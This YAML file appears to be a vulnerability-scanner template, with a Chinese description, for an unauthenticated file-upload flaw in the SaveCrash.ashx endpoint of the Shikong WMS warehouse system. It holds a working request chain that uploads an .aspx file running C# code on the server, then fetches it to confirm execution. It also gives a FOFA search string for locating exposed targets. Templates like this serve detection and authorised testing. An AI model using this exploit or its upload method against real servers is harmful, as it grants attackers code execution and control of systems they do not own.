shikong-wms-savecrash-fileupload: 时空WMS-仓储精细化管理系统 SaveCrash.ashx 文件上传

id: shikong-wms-savecrash-fileupload

info:
  name: 时空WMS-仓储精细化管理系统 SaveCrash.ashx 文件上传
  author: zan8in
  severity: critical
  verified: true
  description: |-
    时空WMS-仓储精细化管理系统 SaveCrash.ashx 接口存在文件上传漏洞，未经身份验证的攻击者可通过该漏洞在服务器端任意执行代码，写入后门，获取服务器权限，进而控制整个 web 服务器。
    fofa: body="SKControlKLForJson.ashx"
  reference:
    - https://mp.weixin.qq.com/s/G3GAAuun5KkVxFVqRrQr0Q
  tags: shikong,fileupload
  created: 2024/12/31

set:
  rboundary: randomLowercase(8)
  randbody: randomLowercase(32)
rules:
  r0:
    request:
      method: POST
      path: /crash/SaveCrash.ashx
      headers:
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundary{{rboundary}}
      body: |
        ------WebKitFormBoundary{{rboundary}}
        Content-Disposition: form-data; name="file"; filename="{{username}}.aspx"
        Content-Type: text/plain

        <%@Page Language="C#"%><%Response.Write("{{randbody}}");System.IO.File.Delete(Request.PhysicalPath);%>
        ------WebKitFormBoundary{{rboundary}}--
    expression: response.status == 200 && response.body.bcontains(b'"Msg_code":"0"') && response.body.bcontains(b'"Msg_info":/crash/log/')
    output:
      search: '"\"Msg_info\":(?P<filename>.+).aspx".bsubmatch(response.body)'
      filename: search["filename"]
  r1:
    request:
      method: GET
      path: /{{filename}}.aspx
    expression: response.status == 200 && response.body.bcontains(bytes(randbody))
expression: r0() && r1()